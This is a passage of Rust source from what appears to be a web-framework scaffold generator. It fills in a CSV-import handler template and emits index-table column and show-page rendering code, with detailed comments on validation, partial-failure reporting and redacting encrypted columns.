(autumn_web::a11y::Link::new(paths::index(), __L_BACK__))
});
return Ok((autumn_web::reexports::http::StatusCode::UNPROCESSABLE_ENTITY, page).into_response());
}
let uploaded = uploaded.unwrap_or_default();
// The row cap has to bind BEFORE the file is imported, not inside the row
// handler: `import_csv` records a malformed row as a `CsvRowError` and moves
// on WITHOUT calling the handler, so a file of nothing but malformed rows
// would never reach an in-handler counter while still accumulating one error
// string per row. Counting records first — a second parse over bytes already
// capped at `MAX_IMPORT_BYTES`, discarding everything it reads — bounds that
// for every shape of file, and refusing outright beats importing a prefix:
// a partially imported spreadsheet is exactly the trap this route exists to
// avoid, and the operator can split the file and run it twice.
__HEADER_CHECK__ if autumn_web::data::csv::count_data_rows(&uploaded[..]) > MAX_IMPORT_ROWS {
let page = __LAYOUT__(__L_TITLE__, __CP_IMPORT____FLASH_ARG__, html! {
h1 { __L_HEADING__ }
(import_form_body(__LOCALE_ARG__csrf.as_ref(), csrf_field.as_ref(), submit_token.as_ref(), submit_field.as_ref(), false, Some(&__L_TOO_MANY_ROWS__)))
(autumn_web::a11y::Link::new(paths::index(), __L_BACK__))
});
return Ok((autumn_web::reexports::http::StatusCode::UNPROCESSABLE_ENTITY, page).into_response());
}
let options = autumn_web::data::csv::ImportOptions {
mode: if commit {
autumn_web::data::csv::ImportMode::Insert
} else {
autumn_web::data::csv::ImportMode::DryRun
},
..autumn_web::data::csv::ImportOptions::default()
};
// The validated rows and the CSV line each came from, kept in step so a
// write failure is reported against the line the operator sees in their
// spreadsheet. Filled only on the commit path: a dry run validates each row
// and drops it.
let mut pending_lines: Vec<u64> = Vec::new();
let mut pending_rows: Vec<New__PASCAL__> = Vec::new();
// Whether the file supplied a value for a column this import cannot set.
let __DISCARDED_MUT__discarded_seen = false;
let mut report = autumn_web::data::csv::import_csv(&uploaded[..], &options, |line, row, _mode| {__DISCARDED_PROBE__
let encoded = url::form_urlencoded::Serializer::new(String::new())
.extend_pairs(row.iter().filter_map(|(key, value)| {
// The column name with surrounding whitespace removed. Some
// exporters write `a, b, c`, and RFC 4180 treats that space as
// part of the name — so the raw key would be `" b"`, which
// matches no field on `{Pascal}Form` and no entry in the column
// lists the cell rules below consult. `decode_form` ignores a key
// it does not know and serde defaults the field that key was
// meant to fill, so without this a padded header would import a
// column's values as `false`/`None` while reporting success.
//
// This MUST match how `csv_required_columns()` is compared against
// the header above: that check trims too, so a padded file gets
// past it, and the two have to agree about what a column is
// called or the check would be guaranteeing something this line
// then breaks. A column whose name is genuinely padded cannot
// exist here — form fields are Rust identifiers.
let key = key.trim();
// A column the import cannot set never reaches the decoder.
// Serde ignores a field the form does not have, so this is a
// second guard.
if CSV_IGNORED_COLUMNS.contains(&key) {
return None;
}
Some((key, __CELL_CALL__))
}))
.finish();
let form = match decode_form(Bytes::from(encoded)) {
Ok(form) => form,
Err(err) => return autumn_web::data::csv::ImportRowResult::RowError(err.to_string()),
};
let changeset = form.into_changeset();
if !changeset.is_valid() {
// Report the alphabetically first failing column, so the message is
// stable run to run (`errors()` is a `HashMap`; its order is not).
let mut failed: Vec<(&String, &Vec<String>)> = changeset.errors().iter().collect();
failed.sort_by(|left, right| left.0.cmp(right.0));
// `into_iter().next()`, not `first()`: this module imports
// `diesel::prelude::*`, whose `RunQueryDsl::first` is also in scope
// and wins the method lookup on a `Vec`.
if let Some((column, messages)) = failed.into_iter().next() {
return autumn_web::data::csv::ImportRowResult::FieldError {
column: column.clone(),
message: messages.join(", "),
};
}
}
let new = match into_new(changeset.data()) {
Ok(new) => new,
Err(err) => return autumn_web::data::csv::ImportRowResult::RowError(err.to_string()),
};
if commit {
pending_lines.push(line);
pending_rows.push(new);
}
autumn_web::data::csv::ImportRowResult::Inserted
});
// Set when the write itself fails rather than a row failing: some earlier
// chunk may already be committed, so the page has to say so instead of
// 500ing on a half-finished import.
let mut write_failure: Option<String> = None;
// Rows the DATABASE stage rejected, as opposed to rows that failed to parse
// or validate. Only these carry the after-commit-hook caveat the report
// notes: a parse failure never reached the database at all.
let mut write_failures: usize = 0;
if commit {
// NOT `?`. `save_many_skip_invalid` isolates the row-level failures a
// constraint causes, but a chunk that fails for another reason — a
// statement timeout, a serialization failure, a dropped connection —
// aborts the whole call, DISCARDING the successes it had already
// accumulated while every earlier chunk stays committed. A bare 500 there
// would tell the operator nothing about what landed, and their only move
// (re-upload) would duplicate it, because this import is insert-only.
match repo.save_many_skip_invalid(&pending_rows).await {
Ok((saved, failures)) => {
// Take the inserted count from what the DATABASE returned rather
// than from what the parse pass counted: a row that validated and
// then lost a unique race is a failure, and
// `inserted + errors = rows read` has to keep holding or the
// report is lying about what happened.
report.inserted = saved.len() as u64;
write_failures = failures.len();
for (index, failure) in failures {
let line = pending_lines.get(index).copied().unwrap_or_default();
report.errors.push(autumn_web::data::csv::CsvRowError::row(line, failure.to_string()));
}
// Back into file order. Validation errors were collected row by
// row, but the write failures above are appended after all of
// them, so unsorted the report would read 3, 7, 12, then 2, 5 —
// against a file the operator is reading top to bottom.
report.errors.sort_by_key(|error| error.line);
}
Err(err) => {
autumn_web::reexports::tracing::error!(
error = %err,
rows = pending_rows.len(),
"__PLURAL__ CSV import failed partway through the write"
);
// `report.inserted` is DELIBERATELY left as the parse pass
// counted it. How many rows actually landed is unknowable here —
// the call aborted with earlier chunks already committed — and
// zeroing it would collapse `total_rows()`, the file's own size,
// to the error count: a report that says "0 rows read" about a
// file of ten thousand. The count stays "rows that reached the
// write", and the banner above it says it is not a commit count.
write_failure = Some(err.to_string());
}
}
}
let page = __LAYOUT__(__L_TITLE__, __CP_IMPORT____FLASH_ARG__, html! {
h1 { __L_HEADING__ }
(import_report_view(__LOCALE_ARG__&report, commit, write_failure.as_deref(), write_failures, discarded_seen))
(import_form_body(__LOCALE_ARG__csrf.as_ref(), csrf_field.as_ref(), submit_token.as_ref(), submit_field.as_ref(), false, None))
(autumn_web::a11y::Link::new(paths::index(), __L_BACK__))
});
Ok(page.into_response())
}
"#;
/// Fill [`CSV_IMPORT_TEMPLATE`] in for one resource.
///
/// `authz_params` is the `State` + `Session` pair the record policy needs,
/// already comma-terminated (empty without policy wiring), and `authz_call` the
/// `authorize_create` line that goes with it. The import authorizes exactly as
/// `create` does — context-only, once for the submit — because like `create` it
/// has no loaded row to authorize against. A per-row rule therefore does NOT
/// apply here any more than it applies to a hand-typed create; if your policy
/// needs one, add the check inside the row closure below.
#[allow(
clippy::too_many_arguments,
clippy::too_many_lines,
reason = "one slot-filling call per emitted string — splitting it would put \
the template's placeholders and their values in different functions"
)]
fn render_csv_import_section(
pascal_name: &str,
plural: &str,
snake_name: &str,
layout_fn: &str,
cp_import: &str,
flash_arg: &str,
authz_params: &str,
authz_call: &str,
// The exported column names the export's `csv_text_cell` formula guard
// applies to. The import has to undo that guard on exactly those columns or
// a file this app exported would gain an apostrophe per round trip — and on
// no others, or it would strip a leading apostrophe the export never added.
// Empty means no guarded column, and then no inverse is emitted at all: an
// unused `fn` is a `dead_code` warning in the user's app.
text_columns: &[&str],
// Columns the EXPORT writes but the form does not carry, so an import can
// never set them: `id` and `created_at` (the database assigns them), a
// `--default`ed column (dropped from the form, set by the SQL DEFAULT), a
// `position` column (assigned by the reorder triggers) and an `Attachment`
// (a storage key in a cell is not a file). They are silently ignored on the
// way in, so the upload page names them rather than letting an operator edit
// one and watch nothing happen.
ignored_columns: &[&str],
// Every exported column `{Pascal}Form` can set, as of generation. The
// required header set is the LIVE `csv_columns()` intersected with this
// (issue #2331), so a column later dropped from the export stops being
// required, and an export-only computed column later added to it never
// becomes required.
settable_columns: &[&str],
// The boolean columns, paired with whether a BLANK cell means `false` for
// them (true for a non-nullable column, false for a nullable one). A
// spreadsheet writes `TRUE`/`1`/`yes`/blank where serde's `bool` accepts
// only `true`/`false`, so without this every such spelling fails the whole
// row on a column the form itself treats as optional.
bool_columns: &[(&str, bool)],
labels: &scaffold_i18n::ViewLabels,
) -> String {
// Issue #1349: the two view helpers take the locale by reference (they only
// forward it into `t!`), the handlers take the extractor by value — the same
// split the attachment read-back helpers use. All three are empty without
// the flag, keeping every signature byte-identical.
let (locale_param, locale_ref_param, locale_arg) = if labels.enabled() {
(
"locale: Locale,\n ",
"locale: &autumn_web::i18n::Locale,\n ",
"&locale, ",
)
} else {
("", "", "")
};
// "Import {Pascal}s" is a per-resource key for the same reason "New
// {Pascal}" is (see `new_link_markup`): a translator cannot agree an article
// or adjective with a noun passed in as an argument.
let import_key = format!("{snake_name}.import");
let import_english = format!("Import {pascal_name}s");
// The error messages are `String` in BOTH modes — `t!` yields an owned
// String and the plain path an owned literal — so the `Option<String>` the
// handler binds has one type either way.
let not_csv_english = "That file is not a .csv - choose a CSV file and try again.";
let no_file_english = "Choose a CSV file to import.";
// The two per-column cell rules, each emitted only when some column needs it: an
// unused `fn` is a `dead_code` warning in the user's app. `cell_call` composes
// whichever apply, innermost first, so a text column that is also boolean — there is
// no such column today, but the composition costs nothing — would go through both.
// With neither, the value passes through exactly as before either helper existed.
//
// The ignored columns are named on the page, not just in a doc comment. They are in
// the header the export writes and in the list printed above it, but the form does not
// carry them, so without this line an operator could edit one in a spreadsheet,
// re-upload, and watch nothing happen with no error and no row in the report.
//
// `discarded_columns` is the subset whose presence in a file is genuinely surprising.
// `id` and `created_at` are assigned by the database and appear in every exported
// file, so flagging those would fire on every ordinary round trip. A `--default`ed
// column, a `position` column, or an `Attachment` is a column an operator can edit in a
// spreadsheet and watch silently do nothing — that is what the report warns about.
let discarded_columns: Vec<&str> = ignored_columns
.iter()
.copied()
.filter(|name| *name != "id" && *name != "created_at")
.collect();
// A model with no droppable column emits none of this: no const, no probe, no markup —
// and the local and the view's parameter lose their `mut` and gain a leading
// underscore, because an unused binding is a warning in the user's app and the
// scaffold's contract is that generated code compiles clean.
//
// Issue #2331: the required set is DERIVED, not baked.
// `csv_required_columns()` subtracts the columns the import cannot set from
// the live `CsvSchema::csv_columns()` at request time, so dropping a column
// from the export's schema can never leave a stale requirement behind that
// rejects this app's own export. Emitted unconditionally: with nothing
// settable the check finds no missing columns, and the fn is always called,
// so the scaffold's compiles-clean contract holds either way.
//
// Without this check a file that shares no column names with the model
// still imports — `decode_form` ignores headers it does not know, and a form
// whose every field can be defaulted (an unchecked checkbox's `bool`, an optional
// column) then decodes an unrelated row into a blank record. `junk\nx` would preview as
// "1 row would insert" and commit a row of defaults. Comparing the header up front
// makes that one file-level refusal, which is what it is: the operator picked the wrong
// file.
let settable_names = settable_columns
.iter()
.map(|name| format!("\"{name}\""))
.collect::<Vec<_>>()
.join(", ");
let required_columns_const =
CSV_REQUIRED_COLUMNS_FN.replace("__SETTABLE_COLUMNS__", &settable_names);
let header_check = [
" let header = autumn_web::data::csv::read_header(&uploaded[..]);",
" let missing: Vec<&str> = csv_required_columns()",
" .into_iter()",
" .filter(|column| !header.iter().any(|found| found.trim() == *column))",
" .collect();",
" if !missing.is_empty() {",
" let page = __LAYOUT__(__L_TITLE__, __CP_IMPORT____FLASH_ARG__, html! {",
" h1 { __L_HEADING__ }",
" (import_form_body(__LOCALE_ARG__csrf.as_ref(), csrf_field.as_ref(), submit_token.as_ref(), submit_field.as_ref(), false, Some(&format!(\"{}: {}\", __L_MISSING_COLUMNS__, missing.join(\", \")))))",
" (autumn_web::a11y::Link::new(paths::index(), __L_BACK__))",
" });",
" return Ok((autumn_web::reexports::http::StatusCode::UNPROCESSABLE_ENTITY, page).into_response());",
" }",
"",
]
.join("\n");
let (discarded_mut, discarded_param) = if discarded_columns.is_empty() {
("", "_discarded_seen")
} else {
("mut ", "discarded_seen")
};
let (discarded_const, discarded_probe, discarded_markup) = if discarded_columns.is_empty() {
(String::new(), String::new(), String::new())
} else {
let names = discarded_columns
.iter()
.map(|name| format!("\"{name}\""))
.collect::<Vec<_>>()
.join(", ");
// Recorded in this branch for the same reason as the ignored-columns
// label below: `ViewLabels` records a key the moment it is asked for, so
// a key looked up for markup this model does not emit would land in
// `i18n/en.ftl` unreferenced — what `autumn i18n check --strict` fails on.
let discarded_label = labels.markup(
"common.import.columns.discarded",
"This file carries values for columns the import cannot set, and they were ignored",
);
(
format!(
"/// Columns this import silently cannot set, EXCLUDING the two the\n\
/// database always assigns (`id`, `created_at`) — those are in every\n\
/// exported file and warning about them would fire on every ordinary\n\
/// round trip. These are the ones an operator can edit in a\n\
/// spreadsheet and watch do nothing, so the report says so when the\n\
/// uploaded file actually carries a value for one.\n\
const CSV_DISCARDED_COLUMNS: &[&str] = &[{names}];\n\n"
),
"\n if !discarded_seen {\n \
discarded_seen = CSV_DISCARDED_COLUMNS.iter().any(|column| {\n \
row.iter().any(|(key, value)| {\n \
// The row map is keyed by the header's RAW names, while the\n \
// header check and the decoder below both trim — a file headed\n \
// `title, tag` (the space RFC 4180 keeps) decodes fine but\n \
// `row.get(\"tag\")` would miss the `\" tag\"` entry and the\n \
// alert would never fire. Probe the trimmed keys so all three\n \
// consumers agree about what a column is called.\n \
key.trim() == *column && !value.trim().is_empty()\n \
})\n \
});\n }"
.to_owned(),
[
"",
" // The file supplied a value for a column this import cannot set.",
" // Silently dropping an operator's edit is the one failure this",
" // report could otherwise hide completely.",
" @if discarded_seen {",
" p role=\"alert\" {",
&format!(" {discarded_label}"),
" \": \"",
" code { (CSV_DISCARDED_COLUMNS.join(\", \")) }",
" }",
" }",
]
.join("\n"),
)
};
let (ignored_columns_const, ignored_columns_markup) = if ignored_columns.is_empty() {
(String::new(), String::new())
} else {
let names = ignored_columns
.iter()
.map(|name| format!("\"{name}\""))
.collect::<Vec<_>>()
.join(", ");
// Recorded in this branch, not in the `.replace(…)` chain below:
// `ViewLabels` records a key the moment it is asked for, so looking one
// up for markup this model does not emit would leave an unreferenced key
// in `i18n/en.ftl` — exactly what `autumn i18n check --strict` fails on.
let ignored_label = labels.markup(
"common.import.columns.ignored",
"Columns in the file that this import cannot set",
);
(
format!(
"/// Exported columns the import cannot set — the database assigns\n\
/// them, or `{{Pascal}}Form` does not carry them. Named on the upload\n\
/// page (they are column NAMES, not prose, so they are not\n\
/// translated) rather than left for the operator to discover by\n\
/// editing one and watching nothing happen.\n\
const CSV_IGNORED_COLUMNS: &[&str] = &[{names}];\n\n"
),
[
"",
" p {",
&format!(" {ignored_label}"),
" \": \"",
" code { (CSV_IGNORED_COLUMNS.join(\", \")) }",
" }",
]
.join("\n"),
)
};
// Which cell rules this model needs, and the expression that applies them.
// Each helper is emitted only where some column needs it: an unused `fn` is
// a `dead_code` warning in the user's app, and the scaffold's contract is
// that generated code compiles clean.
let cell_call = match (!text_columns.is_empty(), !bool_columns.is_empty()) {
(true, true) => "csv_bool_cell(key, csv_unguard_cell(key, value))",
(true, false) => "csv_unguard_cell(key, value)",
(false, true) => "csv_bool_cell(key, value)",
(false, false) => "value.as_str()",
};
let mut cell_fns = String::new();
if !text_columns.is_empty() {
let names = text_columns
.iter()
.map(|name| format!("\"{name}\""))
.collect::<Vec<_>>()
.join(", ");
cell_fns.push_str(&CSV_UNGUARD_CELL_FN.replace(
"__TEXT_COLUMNS_CONST__",
&format!(
"/// The exported columns the export's `csv_text_cell` formula guard\n\
/// applies to — the text-backed ones. Kept beside the inverse below so\n\
/// the two halves of the guard are edited together: dropping a column\n\
/// from `csv_text_cell` without dropping it here would strip an\n\
/// apostrophe the export never added.\n\
const CSV_TEXT_COLUMNS: &[&str] = &[{names}];\n\n"
),
));
}
if !bool_columns.is_empty() {
let entries = bool_columns
.iter()
.map(|(name, blank_is_false)| format!("(\"{name}\", {blank_is_false})"))
.collect::<Vec<_>>()
.join(", ");
cell_fns.push_str(&CSV_BOOL_CELL_FN.replace(
"__BOOL_COLUMNS_CONST__",
&format!(
"/// The boolean columns, and whether a BLANK cell means `false` for\n\
/// each. A non-nullable `bool` takes `false` — that is what an\n\
/// unchecked checkbox means, and the form's `#[serde(default)]`\n\
/// already encodes it — while a nullable one keeps the blank, which\n\
/// `decode_form` strips to `None`.\n\
const CSV_BOOL_COLUMNS: &[(&str, bool)] = &[{entries}];\n\n"
),
));
}
CSV_IMPORT_TEMPLATE
.replace("__REQUIRED_COLUMNS_CONST__", &required_columns_const)
.replace("__HEADER_CHECK__", &header_check)
.replace(
"__L_MISSING_COLUMNS__",
&labels.expr(
"common.import.error.missing.columns",
"That file is missing columns this import needs",
"\"That file is missing columns this import needs\"",
&[],
),
)
.replace("__DISCARDED_MUT__", discarded_mut)
.replace("__DISCARDED_PARAM__", discarded_param)
.replace("__DISCARDED_CONST__", &discarded_const)
.replace("__DISCARDED_PROBE__", &discarded_probe)
.replace("__DISCARDED_MARKUP__", &discarded_markup)
.replace("__IGNORED_COLUMNS_CONST__", &ignored_columns_const)
.replace("__IGNORED_COLUMNS_MARKUP__", &ignored_columns_markup)
.replace("__CELL_FNS__", &cell_fns)
.replace("__CELL_CALL__", cell_call)
.replace("__LOCALE_REF_PARAM__", locale_ref_param)
.replace("__LOCALE_PARAM__", locale_param)
.replace("__LOCALE_ARG__", locale_arg)
.replace("__AUTHZ_PARAMS__", authz_params)
.replace("__AUTHZ_CALL__", authz_call)
.replace("__LAYOUT__", layout_fn)
.replace("__CP_IMPORT__", cp_import)
.replace("__FLASH_ARG__", flash_arg)
.replace("__L_TITLE__", &labels.lit_ref(&import_key, &import_english))
.replace(
"__L_HEADING__",
&labels.markup(&import_key, &import_english),
)
.replace("__L_BACK__", &labels.lit("common.back", "Back to list"))
.replace(
"__L_COLUMNS__",
&labels.markup("common.import.columns", "Expected columns"),
)
.replace(
"__L_COLUMNS_NOTE__",
&labels.markup(
"common.import.columns.note",
"Copy this line as your file's first row. Columns the file adds beyond it are ignored. Every row is inserted as a NEW record — an existing record is never matched or updated, so re-uploading a file duplicates it.",
),
)
.replace(
"__L_FILE__",
&labels.markup("common.import.file", "CSV file"),
)
.replace(
"__L_COMMIT__",
&labels.markup(
"common.import.commit",
"Import for real (leave unchecked to preview)",
),
)
.replace(
"__L_UPLOAD__",
&labels.lit("common.import.upload", "Upload"),
)
.replace(
"__L_PREVIEW__",
&labels.markup("common.import.preview", "Import preview"),
)
.replace(
"__L_COMPLETE__",
&labels.markup("common.import.complete", "Import complete"),
)
.replace(
"__L_ROWS_READ__",
&labels.markup("common.import.rows.read", "Rows read"),
)
.replace(
"__L_ROWS_INSERTABLE__",
&labels.markup("common.import.rows.insertable", "Rows that would insert"),
)
.replace(
"__L_ROWS_INSERTED__",
&labels.markup("common.import.rows.inserted", "Rows inserted"),
)
.replace(
"__L_ROWS_FAILED__",
&labels.markup("common.import.rows.failed", "Rows with errors"),
)
.replace(
"__L_WRITE_FAILED__",
&labels.markup(
"common.import.write.failed",
"The write failed partway through. Rows already committed are NOT listed below — check the list view before uploading this file again, or it will import them twice",
),
)
.replace(
"__L_TOO_MANY_ROWS__",
&labels.expr(
"common.import.error.too.many.rows",
"That file has more rows than this route imports at once. Split it and upload the parts.",
"\"That file has more rows than this route imports at once. Split it and upload the parts.\".to_owned()",
&[],
),
)
.replace(
"__L_WRITE_CAVEAT__",
&labels.markup(
"common.import.write.caveat",
"A row listed as failed below may still have been written: an after-create hook runs once the insert has committed, and a failure there is reported here. Check the list view before importing this file again.",
),
)
.replace(
"__L_MORE_ERRORS__",
&labels.markup("common.import.rows.more", "Further errors not listed"),
)
.replace(
"__L_NO_ERRORS__",
&labels.markup("common.import.rows.clean", "No row errors."),
)
.replace("__L_LINE__", &labels.markup("common.import.line", "Line"))
.replace(
"__L_COLUMN__",
&labels.markup("common.import.column", "Column"),
)
.replace(
"__L_PROBLEM__",
&labels.markup("common.import.problem", "Problem"),
)
.replace(
"__L_NOT_CSV__",
&labels.expr(
"common.import.error.not.csv",
not_csv_english,
&format!("\"{not_csv_english}\".to_owned()"),
&[],
),
)
.replace(
"__L_NO_FILE__",
&labels.expr(
"common.import.error.no.file",
no_file_english,
&format!("\"{no_file_english}\".to_owned()"),
&[],
),
)
.replace("__PASCAL__", pascal_name)
.replace("__PLURAL__", plural)
}
/// Whether a column of this kind is server-sortable via the generated
/// `list()` method (#1126).
///
/// Mirrors the orderable-type allowlist in the `#[model]` macro: every scalar
/// column is sortable EXCEPT binary blobs (`Bytea`/`Attachment`), closed-set
/// `Enum` columns (whose Rust type is a generated enum the macro doesn't emit a
/// sort arm for), and `Json` columns (`serde_json::Value` isn't in the macro's
/// orderable allowlist either — issue #1341). Emitting `.sortable(..)` only for
/// these keeps the rendered header links symmetric with what the server
/// actually applies — a link that resolves to the default order would be a
/// dead affordance.
const fn kind_is_sortable(kind: FieldKind) -> bool {
!matches!(
kind,
FieldKind::Bytea | FieldKind::Attachment | FieldKind::Enum | FieldKind::Json
)
}
/// Whether this *field* should render a sortable index header.
///
/// [`kind_is_sortable`] answers the question for the column's storage type; an
/// at-rest encrypted column (issue #1340) fails it for a second reason the kind
/// cannot see. `#[encrypted]` columns are `String`, so the `#[model]` macro
/// happily puts them in its `ORDER BY` allowlist — but the database only holds
/// base64 ciphertext, so the server would order by envelope bytes. For a
/// randomized column that order is arbitrary and reshuffles on every write; for
/// a deterministic one it is stable but still unrelated to the plaintext order
/// the header link promises. Either way the control lies about what it does, so
/// don't render it (same posture as the nested child list, which withholds
/// `.sortable(..)` rather than stamp an `aria-sort` that never changes).
/// A `decimal` column is the third case, and only on `SQLite` (issue #1924):
/// the column is `TEXT` there, so `ORDER BY` compares strings — `"9"` after
/// `"10"`. The `#[model]` macro leaves such a column out of its sort allowlist
/// for that reason, so the header link would be dead *and* stamp an `aria-sort`
/// that never matches the rows. Withhold it, exactly as for an encrypted column.
const fn field_is_sortable(field: &Field, backend: DatabaseBackend) -> bool {
if matches!(backend, DatabaseBackend::Sqlite) && field.kind.is_decimal() {
return false;
}
kind_is_sortable(field.kind) && !field.is_encrypted()
}
/// Emit the `let columns: Vec<Column<Pascal>> = vec![…];` block for the index handler.
///
/// Includes an "Id" column, one column per scaffold field (title-cased header),
/// and a trailing "Show" actions column. Scalar columns are marked `.sortable(..)`
/// (the sort key is the column's snake name) so the `data_table` renders header
/// links that the generated `list()` method applies against the model's column
/// allowlist (#1126). The trailing "Show" action column is never sortable.
#[allow(
clippy::too_many_arguments,
reason = "one column-vec renderer serving the index, the search fragment, the \
trash table, and the nested child list — splitting it would fork the \
header/cell emission the four surfaces must agree on"
)]
fn render_columns_vec(
// Decides whether a `decimal` column may advertise a sortable header
// (issue #1924) — see `field_is_sortable`.
backend: DatabaseBackend,
pascal_name: &str,
snake_name: &str,
fields: &[Field],
reference_displays: &BTreeMap<String, ReferenceDisplay>,
use_label_maps: bool,
route_key_field: Option<&str>,
// Whether the emitted columns advertise themselves as sortable. `true` for
// the flat index, whose handler extracts a `ListQuery` and actually honours
// `?sort=&dir=`. `false` for the nested child list (issue #1323), which runs
// a fixed `ORDER BY id DESC`: a sortable header there renders a link that
// reloads the identical list and stamps an `aria-sort` that never changes —
// an accessibility lie, not just a dead control.
sortable: bool,
// Issue #1349: with `--i18n`, each header becomes a `let`-bound `t!` lookup
// rather than an inline literal — `Column::new` borrows its header for the
// column's lifetime, so a `&t!(…)` temporary inside the `vec![…]` would be
// dropped before the table renders.
labels: &scaffold_i18n::ViewLabels,
) -> String {
use std::fmt::Write as _;
let mut out = String::with_capacity(fields.len() * 150 + 300);
// Header bindings first: `Column::new` takes `&'a str`, so a translated
// header has to outlive the `vec![…]` it is built into.
if labels.enabled() {
let _ = writeln!(
out,
" let l_col_id = {};",
labels.lit("common.field.id", "Id")
);
for f in fields {
let name = &f.name;
let _ = writeln!(
out,
" let l_col_{name} = {};",
labels.lit(&format!("{snake_name}.field.{name}"), &title_case(name))
);
}
}
let _ = writeln!(
out,
" let columns: Vec<autumn_web::widgets::Column<{pascal_name}>> = vec!["
);
// ID column — always sortable (the default order is `id DESC`).
let id_sortable = if sortable { ".sortable(\"id\")" } else { "" };
let id_header = if labels.enabled() {
"&l_col_id".to_owned()
} else {
format!("\"{}\"", title_case("id"))
};
let _ = writeln!(
out,
" autumn_web::widgets::Column::new({id_header}, |row: &{pascal_name}| maud::html! {{ (row.id) }}){id_sortable},"
);
// One column per field
for f in fields {
let header = if labels.enabled() {
format!("&l_col_{}", f.name)
} else {
format!("\"{}\"", title_case(&f.name))
};
let sortable_suffix = if sortable && field_is_sortable(f, backend) {
format!(".sortable(\"{}\")", f.name)
} else {
String::new()
};
// A displayable `references` column renders the parent's label from
// the per-view `{name}_labels` map the handler loaded (issue #1146),
// instead of the raw foreign-key id. The closure borrows the map,
// which outlives the `columns` vec in the generated handler.
let cell_expr = if use_label_maps
&& f.kind.is_reference()
&& reference_displays.contains_key(&f.name)
{
let name = &f.name;
if f.nullable {
format!(
"match &row.{name} {{ Some(v) => {name}_labels.get(&v.to_string()).map(String::as_str).unwrap_or(\"—\"), None => \"—\" }}"
)
} else {
format!(
"{name}_labels.get(&row.{name}.to_string()).map(String::as_str).unwrap_or(\"—\")"
)
}
} else {
cell_value_expr(f)
};
// Issue #1340: an at-rest encrypted column renders a redaction marker in
// a LIST cell, never the decrypted value. A list is a bulk-disclosure
// surface — one page shows every row's secret at once, to everyone the
// index is authorized for, and ends up in screenshots, printouts, and
// page caches. The single-record `show` view and the `edit` form still
// render the real value: the reader routed there deliberately, for one
// record, and a form has to show what it is editing. That split mirrors
// the admin panel's own `.encrypted()` / `.encrypted_visible()`. The
// closure binds `_row` because the cell ignores it, keeping the
// generated app warning-free.
let (binding, cell_expr) = if f.is_encrypted() {
("_row", "\"••••••••\"".to_owned())
} else {
("row", cell_expr)
};
let _ = writeln!(
out,
" autumn_web::widgets::Column::new({header}, |{binding}: &{pascal_name}| maud::html! {{ ({cell_expr}) }}){sortable_suffix},"
);
}
// Show link column. Keyed off the slug (issue #1260) when the model has
// one, matching `paths::show`'s rekeyed `Path<String>` route; a non-slug
// model keeps the pre-#1260 `row.id` byte-for-byte.
let show_link_arg =
route_key_field.map_or_else(|| "row.id".to_owned(), |field| format!("&row.{field}"));
let _ = writeln!(
out,
" autumn_web::widgets::Column::new(\"\", |row: &{pascal_name}| maud::html! {{ (autumn_web::a11y::Link::new(paths::show({show_link_arg}), {})) }}),",
labels.lit("common.show", "Show")
);
let _ = writeln!(out, " ];");
out
}
/// Emit the `vec![…]` body for the `props` binding in the `show` handler.
///
/// Produces one `("Label", maud::html! { value_expr })` tuple per row:
/// `id`, every DSL-declared field (humanized label), then `created_at`. A
/// `references` field with a resolved display (issue #1146) renders the
/// pre-loaded `{name}_label` variable (the parent's display value) instead of
/// the raw foreign-key id — see [`render_show_reference_label_loads`].
fn render_show_property_rows(
fields: &[Field],
reference_displays: &BTreeMap<String, ReferenceDisplay>,
// Issue #1349: `property_list` takes `&[(&str, Markup)]`, so a translated
// label is a `let` binding (see [`render_show_property_label_binds`]) rather
// than an inline `t!` call whose `String` would be dropped with the `vec![…]`
// temporary.
labels: &scaffold_i18n::ViewLabels,
) -> String {
use std::fmt::Write as _;
let mut out = String::with_capacity(fields.len() * 100 + 150);
let id_label = if labels.enabled() {
"&l_prop_id".to_owned()
} else {
"\"Id\"".to_owned()
};
let _ = writeln!(out, " ({id_label}, maud::html! {{ (row.id) }}),");
for f in fields {
// One key per field, shared with the index header and the form control.
// The English is the derive's Title Case rather than this view's older
// sentence case, so all three surfaces read alike once translated.
let label = if labels.enabled() {
format!("&l_prop_{}", f.name)
} else {
format!("\"{}\"", humanize(&f.name))
};
let cell_expr = if f.kind.is_reference() && reference_displays.contains_key(&f.name) {
format!("{}_label", f.name)
} else if f.kind.is_attachment() {
// Issue #1236: the detail page renders the file the record actually
// references — a download link through the signed URL the handler
// resolved into `{name}_url` — instead of the index's cheap
// presence marker. See `attachment_link` in the generated routes.
let name = &f.name;
// The locale argument matches `attachment_link`'s `--i18n` signature
// (see `render_routes_file`): the meta span it renders is bundle
// text, and this handler holds the extractor.
let locale_arg = if labels.enabled() { "&locale, " } else { "" };
format!(
"attachment_link({locale_arg}row.{name}.as_ref(), {name}_url.as_deref(), \"{name}\")"
)
} else if f.kind.is_rich_text() {
// Issue #1255: the column stores user-submitted Markdown SOURCE, so
// the show page renders it through `render_user_content` — raw-HTML
// passthrough disabled, output run through an allowlist sanitizer.
// This is the one place the scaffold emits pre-escaped markup from a
// user-controlled column, and it is exactly why that helper exists.
let name = &f.name;
if f.nullable {
format!(
"autumn_web::markdown::render_user_content(row.{name}.as_deref().unwrap_or_default())"
)
} else {
format!("autumn_web::markdown::render_user_content(&row.{name})")
}
} else {
cell_value_expr(f)
};
out.push_str(" (");
out.push_str(&label);
out.push_str(", maud::html! { (");
out.push_str(&cell_expr);
out.push_str(") }),\n");
}
let created_label = if labels.enabled() {
"&l_prop_created_at".to_owned()
} else {
"\"Created at\"".to_owned()
};
let _ = writeln!(
out,
" ({created_label}, maud::html! {{ (row.created_at.to_string()) }}),"
);
out
}
/// The `let l_prop_* = t!(…);` bindings the `show` view evaluates before
/// building its `props` vec (issue #1349).
///
/// Separate from [`render_show_property_rows`] because `property_list` borrows
/// each label for the life of the slice: a `t!` call spliced straight into the
/// `vec![…]` would produce a `String` temporary dropped at the end of that
/// statement. Empty without `--i18n`, where the labels are `&'static str`
/// literals with nothing to bind.
fn render_show_property_label_binds(
fields: &[Field],
snake_name: &str,
labels: &scaffold_i18n::ViewLabels,
) -> String {
use std::fmt::Write as _;
if !labels.enabled() {
return String::new();
}
let mut out = String::with_capacity(fields.len() * 60 + 120);
let _ = writeln!(
out,
" let l_prop_id = {};",
labels.lit("common.field.id", "Id")
);
for f in fields {
let name = &f.name;
let _ = writeln!(
out,
" let l_prop_{name} = {};",
labels.lit(&format!("{snake_name}.field.{name}"), &title_case(name))
);
}
let _ = writeln!(
out,
" let l_prop_created_at = {};",
labels.lit("common.field.created_at", &title_case("created_at"))
);
out
}
